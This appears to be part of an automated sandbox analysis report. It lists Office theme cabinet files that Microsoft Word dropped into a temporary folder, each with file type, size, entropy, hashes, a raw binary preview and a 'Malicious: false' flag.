Preview:	MSCF....tq......D...........................tq.. ?..........\|..................Mn. .Banded.thmx............Mn. .content.inf..;.u.i..[...............?....^.j.{j.B...$M/!...W....{!..^0x/.6...&............w......$.B..J.?a.$=...P..L...d..........+./.\..E:h.....-.$..u-.I..L\.M.r..Y..:rtX:....8...........+8.}{......&.-..f.f..s3-P.''.r...Z-"/E../...^%^N(,.$..$.H..O........q>...\|.\|......y..m.)u....`.....z.n..-.[.5....xL....M...O..3uCX..=4.....7.yh...dg.;..c.x.4..6..e..p.e"..,.!.St{..E..^I.9j....;..`.Y..#.0..f...G.....9~./....QCz.93..u%hz.........t9.""........)..7K.c~E!..x.E.p...[......o..O.j.c.......6.t{...".....t9V;xv....n<.F.S2.gI.#6...u..O..F.9.[.L.....K....#..zL..I...o....k...qog.......V..BKM..#.bET.)..&4..m.w.......E.a[.Q.y.B...w...r.nd...)...<..#..r[4.y...#.z.....m?.2K.^...R{..m..f......r?]..>@...ra$...C+..l].9...."..rM9=......]".'...b&2e...y..a..4....ML..f...f"..l..&.Rv=2LL..4...3t_x...G....w..I.K....s.t.....).......{ur.y2...O3.Kf.*P(..F..-.y.Z...

C:\Users\user\AppData\Local\Temp\cabC277.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 26644 bytes, 2 files, at 0x4c "Element design set.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	42788
Entropy (8bit):	7.89307894056
Encrypted:	false
SSDEEP:	768:Hx+UzBiwDQTXgBm029ClGn4BZz6i5kIew/jG8Pi6lYJz1gH:0ZXc29eGn2n5klwjxP7l2z1gH
MD5:	21A4B7B71631C2CCDA5FBBA63751F0D2
SHA1:	DE65DC641D188062EF9385CC573B070AAA8BDD28
SHA-256:	AE0C5A2C8377DBA613C576B1FF73F01AE8EF4A3A4A10B078B5752FB712B3776C
SHA-512:	075A9E95C6EC7E358EA8942CF55EFB72AC797DEE1F1FFCD27AD60472ED38A76048D356638EF6EAC22106F94AFEE9D543B502D5E80B964471FA7419D288867D5D
Malicious:	false
Preview:	MSCF.....h......L............................h...?..................@g......o...............Element design set.dotx.................Content.inf.Y/..Re..[......f........,..]....D.],....]..X.......XC4pE.....p........2..u;L.N.....]G..d.^d.$).e.=..;..Kb.../.../....H.."...w$._I..5.....a..4.Gd5p......v.8..1..%H..\..e...3.e..A..).d.. . (.8.".......(>..<...@...~v&.f..LWhqk]+Uep.d..%...o.....k.......e...nNN.&_.>.d.?H`"...r?..Z.p..q..<M.N.t....{.y]#...._XW"qI...x.......}.. .N...;.}:..m8...[.r.F....^?...o...u.....J3.V....~...~tn#.Kf6.s.\|*..,s...M.$.f..?Yu.pE.1_wU...%....._..'..Z......y:.{.J5..7..Q.w}/.~.-3~Ctw=..IT.....mI.u@...y.M....2.%...y...Y..j.k<-.Q.r...7m..b...+.6..\|.....U..}[...,....^....5..D..qW...[3).p.Y<.Hh..t...%cw=Z..W.~W.F....zr.4.g...O...P.g_^..3.-............3s...S..y...u...N...EsJz....tT../..c[w{cG....../6.....:.W<d5}.q..s..K"$........Ne..5..#.v'..n4.rj....Fc=....5..VN.....6..9`....\|..........WX..-?..........W.)^`1.......].R2..s6...H.......

C:\Users\user\AppData\Local\Temp\cabC2D7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 279287 bytes, 2 files, at 0x44 +A "Basis.thmx" +A "content.inf", flags 0x4, ID 55632, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	295527
Entropy (8bit):	7.996203550147553
Encrypted:	true
SSDEEP:	6144:nwVaEqsf23c9shf6UyOGgDWDn/p3fd+zkPWnvGL3n9bQnkmVheyqtkl:MlPfW6sVEDn/pPdhWnvGL36zyyqal
MD5:	9A07035EF802BF89F6ED254D0DB02AB0
SHA1:	9A48C1962B5CF1EE37FEEC861A5B51CE11091E78
SHA-256:	6CB03CEBAB2C28BF5318B13EEEE49FBED8DCEDAF771DE78126D1BFE9BD81C674
SHA-512:	BE13D6D88C68FA16390B04130838D69CDB6169DC16AF0E198C905B22C25B345C541F8FCCD4690D88BE89383C19943B34EDC67793F5EB90A97CD6F6ECCB757F87
Malicious:	false
Preview:	MSCF.....B......D...............P............B..p?..........{.................M.. .Basis.thmx...........M.. .content.inf.`g..td..[...............5..$..WM.....R.......H\.+\./^...x.^..h..MU..\........v........+......g...$.......g.....~....U].7..T..1k.H...1...c.P.rp.6K..&......,.............U4.WoG.w.....;.....v..922.;]..5_-]..%E]b..5]... (..H..II..ttA4Q..BI!\|...H.7J.2D....R.......CXhi`n....6..G.~&.[..N...v..Z"t.a..K..3..).w...._@.}.}.v.......4......h....R;.8.c&.F...B^....Q.....!Bm2...F.`.......M;...#.{....c...?...e...6t..C.-.E.V.v%I..H.....m.n...$D.....vU'.....=6}~...Gw...Y..?.@......G.....k......z...5d.h......1.}..O*;e..t......Y.0...3.v).X.-.2.....~....14.[.w=I....hN....eD..7G.u.z..7.do..!....d..o.wQ.:....@/.^..<e.-..=\.....6.C.'.rW$..Cp.M3.u6z......Q.F.9.5....juc..I...m4]7L....+n......).t......2[.3.p.:.....O5y..wA........^..!..H....{..S.3w.!&.'.;...(..\|m.x.S..Z.j..3...n..WU...../w.......xe=.+.D...x..qy.S.....E..... ...uu.`.,..<.6[p

C:\Users\user\AppData\Local\Temp\cabC2D8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 704319 bytes, 2 files, at 0x44 +A "content.inf" +A "Wood_Type.thmx", flags 0x4, ID 5778, number 1, extra bytes 20 in head, 51 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	723359
Entropy (8bit):	7.997550445816903
Encrypted:	true
SSDEEP:	12288:NPnBZX7wR3tMwYqNDQGnXTtfzO5U7yo6O7bLhe8yE3LLDok4a:JBMbYE7xzO5U917bLh/DL3oJa
MD5:	748A53C6BDD5CE97BD54A76C7A334286
SHA1:	7DD9EEDB13AC187E375AD70F0622518662C61D9F
SHA-256:	9AF92B1671772E8E781B58217DAB481F0AFBCF646DE36BC1BFFC7D411D14E351
SHA-512:	EC8601D1A0DBD5D79C67AF2E90FAD44BBC0B890412842BF69065A2C7CB16C12B1C5FF594135C7B67B830779645801DA20C9BE8D629B6AD8A3BA656E0598F0540
Malicious:	false
Preview:	MSCF....?.......D...........................?...`J..............3..............M.. .content.inf..+.........M.. .Wood_Type.thmx......r..[.........................!.wwwwqwwwwwwwwwww..."....+......nR..x..\..w..r.5R.....(\|.>.$e3.!..g....f..`9NL......o./.O.bxI...7.....\|........6.n."J.....4^g.........?...................o.......s3.....8. .T.j...._.Z.Q.t.k,(o.c.t.......?Z....`o........?.a....6.)....6b..../.t...........Mz....q}......C.......+{.......o...K.tQjt............7.._....O.....\....` ..............@..`....%..t....V.]........m..m....u..1.yr;..t..F.'..+{....zqvd.g._..$H..Vl...m..../....g..rG.....:......8....h...[...a06...U.W....5.Z.W..1I..#.2.....B3...x....$PRh...\{J.c.v.y..5+Y.W.N..hG......<..F..W.d8_....c...g....p\|7.]..^.o.H.[$Zj..{4......m.KZ..n.T%...4.Z..Y."q7?kuB......U....).~.......W%..!.e.U.mp.o...h...?.w...T.s.YG#......Y.}....Z.O.i.r,...n..4.\....P..m..=....f........v....g....j....wP..4.VK.y.z...C..oum.b.1......?.Z.>.7.!?......A..Q>..Z....-

C:\Users\user\AppData\Local\Temp\cabC308.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 259074 bytes, 2 files, at 0x44 +A "content.inf" +A "Dividend.thmx", flags 0x4, ID 58359, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	276650
Entropy (8bit):	7.995561338730199
Encrypted:	true
SSDEEP:	6144:H2a+HFkDF8gpmMt4kzwVVqhSYO6DITxPWgJl1CFExwXyo7N:mlZgFtIVVTuDExeWuv7N
MD5:	84D8F3848E7424CBE3801F9570E05018
SHA1:	71D7F2621DA8B295CE6885F8C7C81016D583C6B1
SHA-256:	B4BC3CD34BD328AAF68289CC0ED4D5CF8167F1EE1D7BE20232ED4747FF96A80A
SHA-512:	E27873BFD95E464CB58B3855F2DA404858B935530CF74C7F86FF8B3FC3086C2FAEA09FA479F0CA7B04D87595ED8C4D07D104426FF92DFB31BED405FA7A017DA8
Malicious:	false
Preview:	MSCF............D................................D..........~..................M. .content.inf............M. .Dividend.thmx..).}.b..[.....`.........?.R...T../..............4..yy....{...f.h..\U......sy.gV0Q.@..A..@..3a.A}........7.q.......8......R....sJ)E..ENr.SB.1..).s.r.J.D.b."..........(.....E$.V........y.5.L....;gY..QK/nni..x..3.<..Q.Q..K.I.....T.z.,F.....{.p.....;8._.&../...........X...}.;[Gk..._.i`m.u.?...s.w...4.....m......l....5..n.?..c..m...,.....{.k.?......sC.............e..1....oL.8./......1._.K:.]..&......O............qo.....Dd/c...6.q.......V.v........h....L..h..C+..V..;O.(7Z]{I%....S3.{h....\...b.......5.ES......Z.4...o.c`..YA....9i....M.s....Z3.oq`....>.i..@.@n.a...x.3.zp.<....vU/.\|^CvE...aD.P&mhvM>.p..B~....."._.......v-.m..w..?._..=...:...k....i.}x.6....Y.i..n....h...j......LZ.....fk..f0.y.T..Vl.;...s.......B6.f.'z.c.\W?...4U)..aJ.;O....L.d7.J.V#Q.....\J.F.?].d}!..y].6..%..~....\|......5...'N.#.....t6.,.E.O."..0fyz....

C:\Users\user\AppData\Local\Temp\cabC30A.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 252241 bytes, 2 files, at 0x44 +A "content.inf" +A "Frame.thmx", flags 0x4, ID 34169, number 1, extra bytes 20 in head, 16 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	271273
Entropy (8bit):	7.995547668305345
Encrypted:	true
SSDEEP:	6144:zfdvQnJMwXse4Vradf3mrC7woyWbjKlCVC7K:zfJwJse4VrS1AK
MD5:	21437897C9B88AC2CB2BB2FEF922D191
SHA1:	0CAD3D026AF2270013F67E43CB44F0568013162D
SHA-256:	372572DCBAD590F64F5D18727757CBDF9366DDE90955C79A0FCC9F536DAB0384
SHA-512:	A74DA3775C19A7AF4A689FA4D920E416AB9F40A8BDA82CCF651DDB3EACBC5E932A120ABF55F855474CEBED0B0082F45D091E211AAEA6460424BFD23C2A445CC7
Malicious:	false
Preview:	MSCF....Q.......D...............y...........Q...XJ..........{..................M.. .content.inf.(..........M.. .Frame.thmx.1....b..[.........B.....6....ZZ}....BH..-D..}..V.V-........Z..O.....H.f..........;..@d.`......!..=;.,bp..K.q....s.y....D.qZ)p......D...r.S....s=B.4.).8B....4.a6 ...~........."....#.....}....n.Q.1cH.%c/.U....E..E...!..Da.p....X..G..:.....1.@.....W.'...._........W.c...<.v.k.....&.8......?.h.>d._:-.X.......9..tL}........3.;.N3.D~......>.^?..\|:...}......oT.z.......w..[..}:...._fu........Kk.......L..9..p..e..^......K.%...Mapqhvv..E&.^.....[...9\|"l...9...U......!..w..Nya...~C.yx...w.K..q.z.j.W?t.......DY.x.S2.....]..na.Qj...X.K..^...S.hK.W...Z....s.0...NF...8C.......j.'Zc...k.%...l....S.....OW..o.Qf.x...X.;<.rO].....W.m.e....T.1.6........".....Q.3........l..v.."..I...&......w..4vE...c.s[.3.m..8.q$.....a...)...&:6..,..#..?....;.!.....~.UP.r=.}h.&U......X...]..X.e\u.G<....E....lG.@.Z...10.D@.]....z+-.S....p..Y.PK.:.S..p.....1E`..-

C:\Users\user\AppData\Local\Temp\cabC31B.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 243642 bytes, 2 files, at 0x44 +A "content.inf" +A "Metropolitan.thmx", flags 0x4, ID 19054, number 1, extra bytes 20 in head, 24 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	261258
Entropy (8bit):	7.99541965268665
Encrypted:	true
SSDEEP:	6144:9blShNYrHNn0JU+D+kh8CIjXHWC7X0nZLC9Ge2KY/WfI:9ZSTYrtn0Sk+CIDHWC7chVKYx
MD5:	65828DC7BE8BA1CE61AD7142252ACC54
SHA1:	538B186EAF960A076474A64F508B6C47B7699DD3
SHA-256:	849E2E915AA61E2F831E54F337A745A5946467D539CCBD0214B4742F4E7E94FF
SHA-512:	8C129F26F77B4E73BF02DE8F9A9F432BB7E632EE4ABAD560A331C2A12DA9EF5840D737BFC1CE24FDCBB7EF39F30F98A00DD17F42C51216F37D0D237145B8DE15
Malicious:	false
Preview:	MSCF............D...............nJ...............D.................."..........M. .content.inf....."......M. .Metropolitan.thmx...cVtP..[.....`Q..B.....=.T.....h.."...Z..\|..}hZK.V....Z..Z................?..v...[S$."...H......^u.%.@...>....... f.........1.5......&lm.tZ.msz:...Noc....1....D .........b..... ..3#pVp....}oo]{m......H[%i.GNHB1D<......(# ....H"....DP..b(B.<.....v......_..`.7..;.}............/.p}.:vp....~l0..].........S....G?.....}..U.;......dNi..?........-c..J.z....Z...._.O.....C..o.,......z....F....sOs$..w9......2G..:@...'....=.....M..am.....S......(`.._....'......[..K"....BD...D...^1k.....xi...Gt....{k@.W.....AZ+(,...+..o......I.+.....D..b. T.:..{..v.....g..........L.H.`...uU~C.d...{...4.N.N..m8..v.7..3.`.....,...W...s.;.fo.8.Y...2.i...T&.-...v8..v.U.Y=...8..F.hk..E.PlI.t.8......A.R....+.]lOei..2...... gS.......%8H.....<.U.D..s.....>.....D_...../....l.......5O1S~.........B.g.++cV.z.f .R.Z.......@6....(..t^5"...#G...

C:\Users\user\AppData\Local\Temp\cabC34D.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 206792 bytes, 2 files, at 0x44 +A "content.inf" +A "View.thmx", flags 0x4, ID 33885, number 1, extra bytes 20 in head, 15 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	222992
Entropy (8bit):	7.994458910952451
Encrypted:	true
SSDEEP:	6144:k8/c2cF9GTLqsTmYstUdx+dwb2ooiVOfiI17zWbQ:jbzqGdpbZ/Mf3h68
MD5:	26BEAB9CCEAFE4FBF0B7C0362681A9D2
SHA1:	F63DD970040CA9F6CFCF5793FF7D4F1F4A69C601
SHA-256:	217EC1B6E00A24583B166026DEC480D447FB564CF3BCA81984684648C272F767
SHA-512:	2BBEA62360E21E179014045EE95C7B330A086014F582439903F960375CA7E9C0CF5C0D5BB24E94279362965CA9D6A37E6AAA6A7C5969FC1970F6C50876582BE1
Malicious:	false
Preview:	MSCF.....'......D...............]............'..H?..........z..................M{. .content.inf..l.........M{. .View.thmx......R..[...........@...G...I..(J.....B....Q!....}Ju..(BR..._\|.5.%.....6m...........?.w{.rm,....#....;Ba#.:v...Dv.."u.v{!...f}......!......:.S.......".z.f.......==.n.0Km0eh.Kbm.C.r.6.........d..h.....{..w..}....2sb...rvm..x...0(..B... ...BH.r#.@..d".*..F+...Q.sx.....?...d.d.eZ2W2.2d...q.I....4.e4....#.....K...3...1.p.y......>.~V....cm....n^..b.{..._D?..AG...'...k.L&..h}=p.....Wl....(.......>.~.].....'.4.W{......../......7.....'.s...w...6..hn..e.2.).l]u.v4...GF.X..X..X....G.i.\..y.g&.<&ti......Sp,j.....>I..S..%.y..........S..-).+...>...D..............[...d...jt.~<x.a(.MDW..a..ZI.;+..!,.$...~>#...).R4...K.$.Zm......b...........{..._..A{.}..r...X...T.ZI.T.).J...$.".U,.9...r.z.)......}...()<....m....QS.p...;?..5.W~2r.EZu..P.1.%'l.........+/6.Mm.\|2....Ty..f.o.S.....3J.._...X,..m....:..1.<GqFy.QA9W4.=....n...ZP...O.\.[...:8.%.^..H.....

C:\Users\user\AppData\Local\Temp\cabC3BE.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 214772 bytes, 2 files, at 0x44 +A "content.inf" +A "Parcel.thmx", flags 0x4, ID 26500, number 1, extra bytes 20 in head, 19 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	230916
Entropy (8bit):	7.994759087207758
Encrypted:	true
SSDEEP:	6144:OTIPtMXmJWnzPS3pqnkeuJXW+FNx1a72rLiQxEBTR:750nz63/FJRFLISnp+Bt
MD5:	93FA9F779520AB2D22AC4EA864B7BB34
SHA1:	D1E9F53A0E012A89978A3C9DED73FB1D380A9D8A
SHA-256:	6A3801C1D4CF0C19A990282D93AC16007F6CACB645F0E0684EF2EDAC02647833
SHA-512:	AA91B4565C88E5DA0CF294DC4A2C91EAEB6D81DCA96069DB032412E1946212A13C3580F5C0143DD28B33F4849D2C2DF2214CE1E20598D634E78663D20F03C4E6
Malicious:	false
Preview:	MSCF.....F......D................g...........F...?..........\|..................L.. .content.inf.zG.........L.. .Parcel.thmx.>2...R..[...0...........7....B+...BH....{...^.../.....B{...1....+".....<.....$........{.......sD"..j...}... P..w..U..f...6.x8. ...C..F.q.7....T.6p......B.P..L..g......A..43.W`.....{{...u.4...:.bb.4"X..m..)$..@(H. H.tBPTF..,.&.B.'...6..2...n..c%...Z@.(.@.......(.<i.i....P......?......o.......F.M.L......i.....C..7..../.....MQ.0..l.U.s.Fu.......1...p.;.(.}..ogd..<.._.Z......._.......O.J......97...~<...4.c....i..........'k.5.......Q.$..C..E... ..5.7....N.a.[ns6hi..kM....?....X......9q...!O\....0....n.^s.9.6..............;. ..r...rf..C6z..v #.H...O...v/.sl....J.m%.L.Dp.e....uO..g.y....f...].5.........W.....h^[..w.\|.=.ru.\|.M..+.-.B...D.Ma....o.<X SnI....l...{..G..,..y5\W.@..y.;.y ...M..l.....e..A...d.e!.E..3.......k1.......6gY).../....pQ..?..s.W.)+R.S5..../.0..vz.^.......k.....v..9..A.NG...N~#..$.B...s,(.o.@.ar.!.J.....

C:\Users\user\AppData\Local\Temp\cabC3BF.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 533290 bytes, 2 files, at 0x44 +A "content.inf" +A "Parallax.thmx", flags 0x4, ID 64081, number 1, extra bytes 20 in head, 29 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	550906
Entropy (8bit):	7.998289614787931
Encrypted:	true
SSDEEP:	12288:N4Ar9NyDhUQM0Hk86V1YnOIxQ9e6SJbj2OjK:jAG8wa5Qw6SZ2Oj
MD5:	1C12315C862A745A647DAD546EB4267E
SHA1:	B3FA11A511A634EEC92B051D04F8C1F0E84B3FD6
SHA-256:	4E2E93EBAC4AD3F8690B020040D1AE3F8E7905AB7286FC25671E07AA0282CAC0
SHA-512:	CA8916694D42BAC0AD38B453849958E524E9EED2343EBAA10DF7A8ACD13DF5977F91A4F2773F1E57900EF044CFA7AF8A94B3E2DCE734D7A467DBB192408BC240
Malicious:	false
Preview:	MSCF....#......D...............Q...........#...D..........~..................M{. .content.inf............M{. .Parallax.thmx.9... y..[......(..b.P...E.Q.R.".RTH.%.T..F......u.{.+.P.....FK0].F...a{...D4`D..V.../.P,....2.Mx...u......0...E...{A-"J...)jl_.A..T......u.Y....ZG:....V.A.#~.. ..6..............o..X..<.... .......C.ce.f!nA.).p...p........n..................'6w6H6s.j....l...{?.h..........]..l.....v....%..l}A..................3...W_73.j......6...F.../..qG.?........H..).........7.&km....`m2..m.W.q.<../~<..6.78..X~.e+..CCw...T...6....AB..l..._.f......s.e....2....H..r.R.Z....a.,..\Q.q..._SJJ....7.S.R....=f..>....9=....NnC.....].-...\..Z..q..j...q.....Nj..^'..k...Zl.~PRvpz.J..+.C...k.z.w=l.#.............n...C..s.kM.@B{..vL.e....E..(/......f...g..=..V...}...).=s.....y!.,...X.[..[.....\31}..D%...%..+G66.j.v./.e9...P;.o.y..U+...g.g.S.../..B._L..h...Oi.._...:..5ls>>........n6.F.Q..v>..P.r:.a..Z....a...x..D....N...i..=L.u......<;Nv.X/.

C:\Users\user\AppData\Local\Temp\cabC3D0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 624532 bytes, 2 files, at 0x44 +A "content.inf" +A "Quotable.thmx", flags 0x4, ID 13510, number 1, extra bytes 20 in head, 30 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	640684
Entropy (8bit):	7.99860205353102
Encrypted:	true
SSDEEP:	12288:eV7ivfl+kbkIrWu+2aoRjwv/cSUWauGPo2v65s4QqcT3ZCCz6CSj8aC:fdhr1+3y4MWaC2CO4V+3ZCCDsO
MD5:	F93364EEC6C4FFA5768DE545A2C34F07
SHA1:	166398552F6B7F4509732E148F93E207DD60420B
SHA-256:	296B915148B29751E68687AE37D3FAFD9FFDDF458C48EB059A964D8F2291E899
SHA-512:	4F0965B4C5F543B857D9A44C7A125DDD3E8B74837A0FDD80C1FDC841BF22FC4CE4ADB83ACA8AA65A64F8AE6D764FA7B45B58556F44CFCE92BFAC43762A3BC5F4
Malicious:	false
Preview:	MSCF............D................4...............?..........~..................M. .content.inf."..........M. .Quotable.thmx..^.u.n..[...............&...U..F.......UU.M.T5.UUQS..j..#>43fD.....`....Vr......19'...P..j.-...6n.0c....4$.c....$.4.k3aQ$.lCN.#.[.."qc....,Z...,Qt@!.@...... ...H.......9.9.y.{....[.`..s3.5.....B....W.g.d...[uv.UW..............P.8.(.?......3.....'/F...0...8.P. .O..B....K...g..L.......#s...%..\|4.i....?.3b.".....g...?.........2.O23..'..O~.+..{...C.n.L......3......Y.L...?K...o......g....@.]...T..sU.....<.._.<G.......Tu.U2..v.&..<..^..e.].cY;..9.%..}...I.y.;...WM...3>.:.=.\|.-.AtT2OJ.I.#...#.y....A....\]$r...lM.%5.."...+7M..J.....c...".&$.... Y.r.B;..81B. +H...b....@7K..F.Z...v..=..ES.f.~.."...f..ho.X.E.a`~...C>.&..@\.[....(.....h..]...9&...sd.H .1.x.2..t.rj..o..A..^qF.S9.5.....E.{...C\|.w.c/V...0Q.M...........O.7;A4u...R..Z.B.7a.C`....p.z.....f!\|.u.3t....2e.wWH..'7p....E_...e.._;..k....&E.^.f=V..{..al.y:.4a...+.g...-..>e

C:\Users\user\AppData\Local\Temp\cabC410.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 682092 bytes, 2 files, at 0x44 +A "Berlin.thmx" +A "content.inf", flags 0x4, ID 46672, number 1, extra bytes 20 in head, 30 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	698244
Entropy (8bit):	7.997838239368002
Encrypted:	true
SSDEEP:	12288:bUfKzAwwP7XAMWtr4FvMRt4lX0hnBdThiSb32+TdysrQgn7v4EemC6:sr7AMkJ34xu1bm4ZrQaY6
MD5:	E29CE2663A56A1444EAA3732FFB82940
SHA1:	767A14B51BE74D443B5A3FEFF4D870C61CB76501
SHA-256:	3732EB6166945DB2BF792DA04199B5C4A0FB3C96621ECBFDEAF2EA1699BA88EE
SHA-512:	6BC420F3A69E03D01A955570DC0656C83C9E842C99CF7B429122E612E1E54875C61063843D8A24DB7EC2035626F02DDABF6D84FC3902184C1EFF3583DBB4D3D8
Malicious:	false
Preview:	MSCF....lh......D...............P...........lh...?..........\|..................M. .Berlin.thmx............M. .content.inf..lH.lj..[...............7.I..)........P..5x.B/^y5.xk^^......D.F........s....y...?D..........&....".o..pl..Q.jm?_...6......=%.p.{.)S..y...$......,4..>#.........)..."-....K....4.E...L=.......4..p.c..nQ.0..ZO.#.....e.N..`U......oS....V..X[t.E)\|.h..R....$..}.{.F.7....^.....w.,...5rBR.....{.......mi...h.b......w+..;.hV......q..(.7&.Z.l...C."j........[-E4h.....v&..~.p$\|\X...8.....Fj'%,.)6w...u\|C..,y..E..`Up../(....2.(....Z.....,.'...d..s..Z....5.g.?Nq..04...f...D.x....q+.b.."v`{.NL....C..... ..n......1N+.I.{W9....2r.0...BaC.....O..=...k..."..8.D\jK.B...Aj....6,B..2...I.. B..^.4..1.K+.....DP...Mr....9..x[...>........?.Zd..'._2.._..>..'.F..#.w...2..~.\|........q_Wy.W.....~..Qex.km/..f......t.q..p..gm.\|.x.... ,.#\Z....p....a.}...%..v.J.Es......I.b.P?...0......F.x....E..j..6.%..E..-O.k...b .^.h.Cv...Z....D.n.d:.d.F..x...[1...B..

C:\Users\user\AppData\Local\Temp\cabC472.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1081343 bytes, 2 files, at 0x44 +A "Circuit.thmx" +A "content.inf", flags 0x4, ID 11309, number 1, extra bytes 20 in head, 45 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1097591
Entropy (8bit):	7.99825462915052
Encrypted:	true
SSDEEP:	24576:UE9BMy98gA4cDWHkSrDans3MfEE6w8OaVuCibol0j41dwD:UE9Bdy3D4keQWt7w85VuVoaj4/Q
MD5:	BF95E967E7D1CEC8EFE426BC0127D3DE
SHA1:	BA44C5500A36D748A9A60A23DB47116D37FD61BC
SHA-256:	4C3B008E0EB10A722D8FEDB325BFB97EDAA609B1E901295F224DD4CB4DF5FC26
SHA-512:	0697E394ABAC429B00C3A4F8DB9F509E5D45FF91F3C2AF2C2A330D465825F058778C06B129865B6107A0731762AD73777389BB0E319B53E6B28C363232FA2CE8
Malicious:	false
Preview:	MSCF............D...............-,..............x?..........}...-...RU.........M. .Circuit.thmx.....RU.....M. .content.inf.g...&\|..[......=..R.....=.,.!QA?h..Q.!....Uk!.HJ.......VKuk.....q.w.w.U.....;...K.@.URA..0..B..\|rv.ND(.`{..@.1.}...s?.....-...O.(V.w..1..a.....aW...a.Z..aX....5.I...!..........(. ./.d...me.( ..f.........w.......Xp.s....c..vB.98.....C.J......V ..ML.M...B.n.>...\|....u!.5@t..q4....(K...u qL.S....>/%v%.2..TF.].e..'..-..L.N..c].a..(WU\o.%^..;...\|o.6..L..[..;&....^p.Lu.sr,-.R=.:.8.>VOB...:.?$.h.o....Zh.h....`.B.c.../K......b^...;2..bY.[.V.Q8....@..V7....I0c.cQN7..I.p..}..!..M....1K....+....9.2......a..W.V..........;.J .i......]%O.-......CeQ.0.c....MbP3.0.w..8w..Y...\|...H;#.J.+M......>.`y..aWk\|.i.BF.pJv;.....S..6....F.....RLG~..........J.=......"..........H.....h..o...u........M.6F?.F.p.B.>./*l....J.R..#P.....K......<iu..gm^..n...#c..zO"7M.O......4'>A..(.E.Cy.N.)....6.tx.r[.....7.......m.t..E?.....5.5.6.\..{.V.T.D.j..=~a^.I

C:\Users\user\AppData\Local\Temp\cabC492.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1049713 bytes, 2 files, at 0x44 +A "content.inf" +A "Savon.thmx", flags 0x4, ID 60609, number 1, extra bytes 20 in head, 37 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1065873
Entropy (8bit):	7.998277814657051
Encrypted:	true
SSDEEP:	24576:qehtHA3nsAOx7yN7THwxdGpkw8R60aTcua5U4c:hhmnsBMNAxdGpV5za5Uv
MD5:	E1101CCA6E3FEDB28B57AF4C41B50D37
SHA1:	990421B1D858B756E6695B004B26CDCCAE478C23
SHA-256:	69B2675E47917A9469F771D0C634BD62B2DFA0F5D4AF3FD7AFE9196BF889C19E
SHA-512:	B1EDEA65B6D0705A298BFF85FC894A11C1F86B43FAC3C2149D0BD4A13EDCD744AF337957CBC21A33AB7A948C11EA9F389F3A896B6B1423A504E7028C71300C44
Malicious:	false
Preview:	MSCF....q.......D...........................q... ?..........{...%..............M. .content.inf.Q_.........M. .Savon.thmx...O>.o..[..............&.5....UUcC.C....A...`TU...F....".54.E.....g.-.7-D....1g...p.6......@..w(....h'?.....(..........p..J.2n$4.........A......?...........@.C.W.R.5X..:....I..?....r.y..~!.....!.A.a...!........O.........5.x<C...?.?....C.C.......'....F../....../.$................4.7...................P...(.w.}6.........7.....01.1r........._..?.............'.._..JOx.CFA<.........0..2.?...>F.../...;..6-8..4...8&yb....".1%..v'..N...x......}.gYb..~L.....f[..!......Y.G.....p..r...?.p...F.Vy.....o.Whll...+...M.V...:.]...B.%.H....n..@.].zaVxf...y{.@....V.t.W....$Kp-.....7W.J..h..0A3mK.=.ub..R...W......*'T2..G#G,.^..T..XZu...U. ...76.d..#.I.JB.v...d...%.....6..O.K.[.:.L.\.....1.D..2a.>f......X...b5...ZgN.u.f...a!..."...sx....>..?.a.3.8.^._q..JS1.E..9..Lg.n.+....lE.f:j.9)Q..H1=..<.R.......{c>:.p[..S.9h.a.gL.U....8.z..z.!.....2I.~.b..2..c...

C:\Users\user\AppData\Local\Temp\cabC4D3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 937309 bytes, 2 files, at 0x44 +A "content.inf" +A "Gallery.thmx", flags 0x4, ID 44349, number 1, extra bytes 20 in head, 34 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	953453
Entropy (8bit):	7.99899040756787
Encrypted:	true
